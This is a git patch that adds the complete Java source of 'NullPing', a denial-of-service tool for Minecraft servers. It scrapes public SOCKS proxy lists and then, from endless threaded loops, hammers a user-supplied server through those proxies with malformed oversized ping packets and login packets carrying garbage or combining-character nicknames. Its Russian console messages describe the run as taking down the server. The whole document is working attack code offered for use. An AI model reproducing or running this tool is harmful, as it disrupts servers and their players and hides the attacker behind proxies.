From 653d068d25bff07bf2a96d0fc0bb5efdb3c2d518 Mon Sep 17 00:00:00 2001
From: JustNanix <79697582+JustNanix@users.noreply.github.com>
Date: Tue, 26 Oct 2021 23:01:16 +0800
Subject: [PATCH] v1.1
---
pom.xml | 29 ++++++
src/main/java/ru/justnanix/nullping/Main.java | 62 ++++++++++++
.../justnanix/nullping/data/ProxyScraper.java | 98 +++++++++++++++++++
.../justnanix/nullping/nullping/NullPing.java | 67 +++++++++++++
.../nullping/NullPingChannelHandler.java | 34 +++++++
.../nullping/utils/CPacketHandshake.java | 24 +++++
.../nullping/utils/CPacketLogin.java | 17 ++++
.../justnanix/nullping/utils/CPacketPing.java | 15 +++
.../ru/justnanix/nullping/utils/Packet.java | 7 ++
.../nullping/utils/PacketEncoder.java | 12 +++
.../justnanix/nullping/utils/PacketUtils.java | 47 +++++++++
.../justnanix/nullping/utils/ThreadUtils.java | 9 ++
12 files changed, 421 insertions(+)
create mode 100644 pom.xml
create mode 100644 src/main/java/ru/justnanix/nullping/Main.java
create mode 100644 src/main/java/ru/justnanix/nullping/data/ProxyScraper.java
create mode 100644 src/main/java/ru/justnanix/nullping/nullping/NullPing.java
create mode 100644 src/main/java/ru/justnanix/nullping/nullping/NullPingChannelHandler.java
create mode 100644 src/main/java/ru/justnanix/nullping/utils/CPacketHandshake.java
create mode 100644 src/main/java/ru/justnanix/nullping/utils/CPacketLogin.java
create mode 100644 src/main/java/ru/justnanix/nullping/utils/CPacketPing.java
create mode 100644 src/main/java/ru/justnanix/nullping/utils/Packet.java
create mode 100644 src/main/java/ru/justnanix/nullping/utils/PacketEncoder.java
create mode 100644 src/main/java/ru/justnanix/nullping/utils/PacketUtils.java
create mode 100644 src/main/java/ru/justnanix/nullping/utils/ThreadUtils.java
diff --git a/pom.xml b/pom.xml
new file mode 100644
index 0000000..60e4fc0
--- /dev/null
+++ b/pom.xml
@@ -0,0 +1,29 @@
+
+
+ 4.0.0
+
+ ru.justnanix
+ Netty-NullPing
+ 1.0
+
+
+ 8
+ 8
+
+
+
+
+ io.netty
+ netty-all
+ 4.1.69.Final
+
+
+
+ org.jsoup
+ jsoup
+ 1.14.3
+
+
+
\ No newline at end of file
diff --git a/src/main/java/ru/justnanix/nullping/Main.java b/src/main/java/ru/justnanix/nullping/Main.java
new file mode 100644
index 0000000..e61ca8d
--- /dev/null
+++ b/src/main/java/ru/justnanix/nullping/Main.java
@@ -0,0 +1,62 @@
+package ru.justnanix.nullping;
+
+import ru.justnanix.nullping.data.ProxyScraper;
+import ru.justnanix.nullping.nullping.NullPing;
+import ru.justnanix.nullping.utils.ThreadUtils;
+
+import java.util.Scanner;
+
+public class Main {
+ public static final ProxyScraper scraper = new ProxyScraper();
+
+ public static int loopThreads;
+ public static int threads;
+
+ public static String host;
+ public static int port;
+
+ public static void main(String[] args) {
+ System.out.println(
+ " __ __ __ __ __ __ ______ __ __ __ ______ \n" +
+ "/\\ \"-.\\ \\ /\\ \\/\\ \\ /\\ \\ /\\ \\ /\\ == \\ /\\ \\ /\\ \"-.\\ \\ /\\ ___\\ \n" +
+ "\\ \\ \\-. \\ \\ \\ \\_\\ \\ \\ \\ \\____ \\ \\ \\____ \\ \\ _-/ \\ \\ \\ \\ \\ \\-. \\ \\ \\ \\__ \\ \n" +
+ " \\ \\_\\\\\"\\_\\ \\ \\_____\\ \\ \\_____\\ \\ \\_____\\ \\ \\_\\ \\ \\_\\ \\ \\_\\\\\"\\_\\ \\ \\_____\\ \n" +
+ " \\/_/ \\/_/ \\/_____/ \\/_____/ \\/_____/ \\/_/ \\/_/ \\/_/ \\/_/ \\/_____/");
+ System.out.println("\n\t\t\t\t\tv1.1 by JustNanix\n");
+
+ if (System.getProperty("os.name", "generic").toLowerCase().contains("win"))
+ System.out.println("Привет, " + System.getenv("username") + '\n');
+
+ try (Scanner scanner = new Scanner(System.in)) {
+ System.out.println("|| Введите макс кол-во потоков (рекоменд. 256)");
+ System.out.print("> ");
+
+ threads = Integer.parseInt(scanner.nextLine());
+
+ System.out.println("|| Введите кол-во loop потоков (рекоменд. 4)");
+ System.out.print("> ");
+
+ loopThreads = Integer.parseInt(scanner.nextLine());
+
+ System.out.println("|| Введите айпи: ");
+ System.out.print("> ");
+
+ String ip = scanner.nextLine();
+
+ host = ip.split(":")[0];
+ port = Integer.parseInt(ip.split(":")[1]);
+
+ System.out.println();
+ scraper.init();
+
+ System.out.println("\n|| Начинаю пиздить сервер...");
+ new NullPing().launch();
+ } catch (Exception e) {
+ System.out.println("|| Возникла ошибка! Проверьте, правильно ли вы ввели айпи/потоки.");
+ e.printStackTrace();
+
+ ThreadUtils.sleep(10000L);
+ System.exit(0);
+ }
+ }
+}
diff --git a/src/main/java/ru/justnanix/nullping/data/ProxyScraper.java b/src/main/java/ru/justnanix/nullping/data/ProxyScraper.java
new file mode 100644
index 0000000..a5cac27
--- /dev/null
+++ b/src/main/java/ru/justnanix/nullping/data/ProxyScraper.java
@@ -0,0 +1,98 @@
+package ru.justnanix.nullping.data;
+
+import org.jsoup.Jsoup;
+import org.jsoup.nodes.Document;
+
+import java.net.InetSocketAddress;
+import java.util.*;
+import java.util.concurrent.CopyOnWriteArrayList;
+import java.util.stream.Collectors;
+
+public class ProxyScraper {
+ private List proxies = new CopyOnWriteArrayList<>();
+ private int number = 0;
+
+ public void init() {
+ try {
+ System.out.println("|| Загружаю прокси...");
+
+ Thread one = new Thread(() -> {
+ try {
+ Document proxyList = Jsoup.connect("https://api.proxyscrape.com/?request=displayproxies&proxytype=socks4").get();
+ proxies.addAll(Arrays.stream(proxyList.text().split(" ")).distinct().map((proxy) -> new Proxy(ProxyType.SOCKS4, new InetSocketAddress(proxy.split(":")[0], Integer.parseInt(proxy.split(":")[1])))).collect(Collectors.toList()));
+ } catch (Throwable ignored) {}
+
+ try {
+ Document proxyList = Jsoup.connect("https://api.proxyscrape.com/?request=displayproxies&proxytype=socks5").get();
+ proxies.addAll(Arrays.stream(proxyList.text().split(" ")).distinct().map((proxy) -> new Proxy(ProxyType.SOCKS5, new InetSocketAddress(proxy.split(":")[0], Integer.parseInt(proxy.split(":")[1])))).collect(Collectors.toList()));
+ } catch (Throwable ignored) {}
+ });
+
+ Thread two = new Thread(() -> {
+ try {
+ Document proxyList = Jsoup.connect("https://www.proxy-list.download/api/v1/get?type=socks4").get();
+ proxies.addAll(Arrays.stream(proxyList.text().split(" ")).distinct().map((proxy) -> new Proxy(ProxyType.SOCKS4, new InetSocketAddress(proxy.split(":")[0], Integer.parseInt(proxy.split(":")[1])))).collect(Collectors.toList()));
+ } catch (Throwable ignored) {}
+
+ try {
+ Document proxyList = Jsoup.connect("https://www.proxy-list.download/api/v1/get?type=socks5").get();
+ proxies.addAll(Arrays.stream(proxyList.text().split(" ")).distinct().map((proxy) -> new Proxy(ProxyType.SOCKS5, new InetSocketAddress(proxy.split(":")[0], Integer.parseInt(proxy.split(":")[1])))).collect(Collectors.toList()));
+ } catch (Throwable ignored) {}
+ });
+
+ Thread three = new Thread(() -> {
+ try {
+ Document proxyList = Jsoup.connect("https://openproxylist.xyz/socks4.txt").get();
+ proxies.addAll(Arrays.stream(proxyList.text().split(" ")).distinct().map((proxy) -> new Proxy(ProxyType.SOCKS4, new InetSocketAddress(proxy.split(":")[0], Integer.parseInt(proxy.split(":")[1])))).collect(Collectors.toList()));
+ } catch (Throwable ignored) {}
+
+ try {
+ Document proxyList = Jsoup.connect("https://openproxylist.xyz/socks5.txt").get();
+ proxies.addAll(Arrays.stream(proxyList.text().split(" ")).distinct().map((proxy) -> new Proxy(ProxyType.SOCKS5, new InetSocketAddress(proxy.split(":")[0], Integer.parseInt(proxy.split(":")[1])))).collect(Collectors.toList()));
+ } catch (Throwable ignored) {}
+ });
+
+ one.start();
+ two.start();
+ three.start();
+
+ one.join();
+ two.join();
+ three.join();
+
+ proxies = new CopyOnWriteArrayList<>(new HashSet<>(proxies));
+ System.out.println("|| Загружено > " + proxies.size() + " шт. свежих SOCKS4 прокси");
+ } catch (Exception ignored) {}
+ }
+
+ public Proxy getProxy() {
+ if (++number >= proxies.size() - 1)
+ number = 0;
+
+ return proxies.get(number);
+ }
+
+ public static class Proxy {
+ private final ProxyType type;
+ private final InetSocketAddress address;
+
+ public Proxy(ProxyType type, InetSocketAddress address) {
+ this.type = type;
+ this.address = address;
+ }
+
+ public ProxyType getType() {
+ return type;
+ }
+
+ public InetSocketAddress getAddress() {
+ return address;
+ }
+ }
+
+ public enum ProxyType {
+ SOCKS4,
+ SOCKS5,
+ HTTP
+ }
+}
diff --git a/src/main/java/ru/justnanix/nullping/nullping/NullPing.java b/src/main/java/ru/justnanix/nullping/nullping/NullPing.java
new file mode 100644
index 0000000..63e9c28
--- /dev/null
+++ b/src/main/java/ru/justnanix/nullping/nullping/NullPing.java
@@ -0,0 +1,67 @@
+package ru.justnanix.nullping.nullping;
+
+import io.netty.bootstrap.Bootstrap;
+import io.netty.channel.*;
+import io.netty.channel.epoll.Epoll;
+import io.netty.channel.epoll.EpollEventLoopGroup;
+import io.netty.channel.epoll.EpollSocketChannel;
+import io.netty.channel.nio.NioEventLoopGroup;
+import io.netty.channel.socket.SocketChannel;
+import io.netty.channel.socket.nio.NioSocketChannel;
+import io.netty.handler.proxy.Socks4ProxyHandler;
+import ru.justnanix.nullping.Main;
+import ru.justnanix.nullping.utils.PacketEncoder;
+import ru.justnanix.nullping.utils.ThreadUtils;
+
+public class NullPing {
+ private final EventLoopGroup loopGroup = Epoll.isAvailable() ? new EpollEventLoopGroup(Main.threads) : new NioEventLoopGroup(Main.threads);
+ private final Class extends SocketChannel> channelType = Epoll.isAvailable() ? EpollSocketChannel.class : NioSocketChannel.class;
+
+ private final ChannelInitializer channelInitializer = new ChannelInitializer() {
+ @Override
+ protected void initChannel(Channel channel) {
+ Socks4ProxyHandler handler = new Socks4ProxyHandler(Main.scraper.getProxy().getAddress());
+
+ handler.setConnectTimeoutMillis(8000L);
+ handler.connectFuture().addListener(future -> {
+ if (!handler.isConnected()) {
+ channel.close();
+ }
+ });
+
+ channel.pipeline().addFirst(handler);
+ channel.pipeline().addLast(new PacketEncoder());
+ channel.pipeline().addLast(new NullPingChannelHandler());
+ channel.pipeline().addLast(new ChannelHandler() {
+ @Override
+ public void handlerAdded(ChannelHandlerContext channelHandlerContext) {}
+ @Override
+ public void handlerRemoved(ChannelHandlerContext channelHandlerContext) {}
+
+ @Override
+ public void exceptionCaught(ChannelHandlerContext ctx, Throwable throwable) {
+ ctx.close();
+ }
+ });
+ }
+ };
+
+ public void launch() {
+ for (int i = 0; i < Main.loopThreads; i++) {
+ new Thread(() -> {
+ while (true) {
+ Bootstrap bootstrap = new Bootstrap()
+ .channel(channelType)
+ .group(loopGroup)
+ .option(ChannelOption.TCP_NODELAY, true)
+ .option(ChannelOption.SO_KEEPALIVE, false)
+ .handler(channelInitializer);
+
+ bootstrap.connect(Main.host, Main.port);
+
+ ThreadUtils.sleep(2L);
+ }
+ }).start();
+ }
+ }
+}
diff --git a/src/main/java/ru/justnanix/nullping/nullping/NullPingChannelHandler.java b/src/main/java/ru/justnanix/nullping/nullping/NullPingChannelHandler.java
new file mode 100644
index 0000000..2d57951
--- /dev/null
+++ b/src/main/java/ru/justnanix/nullping/nullping/NullPingChannelHandler.java
@@ -0,0 +1,34 @@
+package ru.justnanix.nullping.nullping;
+
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelInboundHandlerAdapter;
+import ru.justnanix.nullping.utils.CPacketHandshake;
+import ru.justnanix.nullping.utils.CPacketLogin;
+import ru.justnanix.nullping.utils.CPacketPing;
+
+import java.util.Random;
+
+public class NullPingChannelHandler extends ChannelInboundHandlerAdapter {
+ private static final Random random = new Random(System.currentTimeMillis());
+
+ @Override
+ public void channelActive(ChannelHandlerContext ctx) {
+ ctx.writeAndFlush(new CPacketPing());
+
+ String nick;
+ if (random.nextBoolean()) nick = "" + random.nextInt(-1);
+ else if (random.nextBoolean()) nick = " ";
+ else if (random.nextBoolean()) nick = "abcdefghijklmnopqrstuvwxyz123456789";
+ else nick = "ب����ََ����ّّّْر����ََ����ّّّْآ���َ�ّ 🇮🇹ب����ََ����ّّّْر����ََ����ّّّْآ���َ�ّ🇮🇹";
+
+ ctx.writeAndFlush(new CPacketHandshake(2));
+ ctx.writeAndFlush(new CPacketLogin(nick));
+
+ ctx.close();
+ }
+
+ @Override
+ public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
+
+ }
+}
diff --git a/src/main/java/ru/justnanix/nullping/utils/CPacketHandshake.java b/src/main/java/ru/justnanix/nullping/utils/CPacketHandshake.java
new file mode 100644
index 0000000..529258a
--- /dev/null
+++ b/src/main/java/ru/justnanix/nullping/utils/CPacketHandshake.java
@@ -0,0 +1,24 @@
+package ru.justnanix.nullping.utils;
+
+import io.netty.buffer.ByteBuf;
+import ru.justnanix.nullping.Main;
+
+public class CPacketHandshake implements Packet {
+ private final int state;
+
+ public CPacketHandshake(int state) {
+ this.state = state;
+ }
+
+ @Override
+ public void writePacketData(ByteBuf byteBuf) {
+ byteBuf.writeByte(0x00);
+
+ PacketUtils.writeVarInt(340, byteBuf);
+ PacketUtils.writeString(Main.host, 255, byteBuf);
+
+ byteBuf.writeShort(Main.port);
+
+ PacketUtils.writeVarInt(state, byteBuf);
+ }
+}
diff --git a/src/main/java/ru/justnanix/nullping/utils/CPacketLogin.java b/src/main/java/ru/justnanix/nullping/utils/CPacketLogin.java
new file mode 100644
index 0000000..b993116
--- /dev/null
+++ b/src/main/java/ru/justnanix/nullping/utils/CPacketLogin.java
@@ -0,0 +1,17 @@
+package ru.justnanix.nullping.utils;
+
+import io.netty.buffer.ByteBuf;
+
+public class CPacketLogin implements Packet {
+ private final String nick;
+
+ public CPacketLogin(String nick) {
+ this.nick = nick;
+ }
+
+ @Override
+ public void writePacketData(ByteBuf byteBuf) {
+ byteBuf.writeByte(0x00);
+ PacketUtils.writeString(nick, byteBuf);
+ }
+}
diff --git a/src/main/java/ru/justnanix/nullping/utils/CPacketPing.java b/src/main/java/ru/justnanix/nullping/utils/CPacketPing.java
new file mode 100644
index 0000000..7939aed
--- /dev/null
+++ b/src/main/java/ru/justnanix/nullping/utils/CPacketPing.java
@@ -0,0 +1,15 @@
+package ru.justnanix.nullping.utils;
+
+import io.netty.buffer.ByteBuf;
+
+public class CPacketPing implements Packet {
+ @Override
+ public void writePacketData(ByteBuf byteBuf) {
+ byteBuf.writeByte(-71);
+
+ for (int i = 0; i < 1900; ++i) {
+ byteBuf.writeByte(1);
+ byteBuf.writeByte(0);
+ }
+ }
+}
diff --git a/src/main/java/ru/justnanix/nullping/utils/Packet.java b/src/main/java/ru/justnanix/nullping/utils/Packet.java
new file mode 100644
index 0000000..1b8ffa0
--- /dev/null
+++ b/src/main/java/ru/justnanix/nullping/utils/Packet.java
@@ -0,0 +1,7 @@
+package ru.justnanix.nullping.utils;
+
+import io.netty.buffer.ByteBuf;
+
+public interface Packet {
+ void writePacketData(ByteBuf byteBuf);
+}
diff --git a/src/main/java/ru/justnanix/nullping/utils/PacketEncoder.java b/src/main/java/ru/justnanix/nullping/utils/PacketEncoder.java
new file mode 100644
index 0000000..8bae595
--- /dev/null
+++ b/src/main/java/ru/justnanix/nullping/utils/PacketEncoder.java
@@ -0,0 +1,12 @@
+package ru.justnanix.nullping.utils;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToByteEncoder;
+
+public class PacketEncoder extends MessageToByteEncoder {
+ @Override
+ protected void encode(ChannelHandlerContext ctx, Packet packet, ByteBuf byteBuf) {
+ packet.writePacketData(byteBuf);
+ }
+}
diff --git a/src/main/java/ru/justnanix/nullping/utils/PacketUtils.java b/src/main/java/ru/justnanix/nullping/utils/PacketUtils.java
new file mode 100644
index 0000000..c88d5b6
--- /dev/null
+++ b/src/main/java/ru/justnanix/nullping/utils/PacketUtils.java
@@ -0,0 +1,47 @@
+package ru.justnanix.nullping.utils;
+
+import io.netty.buffer.ByteBuf;
+
+import java.nio.charset.Charset;
+import java.nio.charset.StandardCharsets;
+
+public abstract class PacketUtils {
+ public static final Charset UTF_8 = StandardCharsets.UTF_8;
+
+ public static void writeString(String s, ByteBuf buf) {
+ if (s.length() > 32767) {
+ throw new RuntimeException(String.format("Cannot send string longer than Short.MAX_VALUE (got %s characters)", s.length()));
+ }
+
+ byte[] b = s.getBytes(UTF_8);
+
+ writeVarInt(b.length, buf);
+ buf.writeBytes(b);
+ }
+
+ public static void writeString(String s, int maxLength, ByteBuf buf) {
+ if (s.length() > maxLength)
+ throw new RuntimeException(String.format("Cannot send string longer than %s (got %s characters)", maxLength, s.length()));
+
+
+ byte[] b = s.getBytes(UTF_8);
+ writeVarInt(b.length, buf);
+
+ buf.writeBytes(b);
+ }
+
+
+ public static void writeVarInt(int value, ByteBuf output) {
+ do {
+ int part = value & 0x7F;
+ value >>>= 7;
+
+ if (value != 0)
+ part |= 0x80;
+
+ output.writeByte(part);
+ } while (value != 0);
+ }
+}
+
+
diff --git a/src/main/java/ru/justnanix/nullping/utils/ThreadUtils.java b/src/main/java/ru/justnanix/nullping/utils/ThreadUtils.java
new file mode 100644
index 0000000..fa7db97
--- /dev/null
+++ b/src/main/java/ru/justnanix/nullping/utils/ThreadUtils.java
@@ -0,0 +1,9 @@
+package ru.justnanix.nullping.utils;
+
+public class ThreadUtils {
+ public static void sleep(long millis) {
+ try {
+ Thread.sleep(millis);
+ } catch (Exception ignored) {}
+ }
+}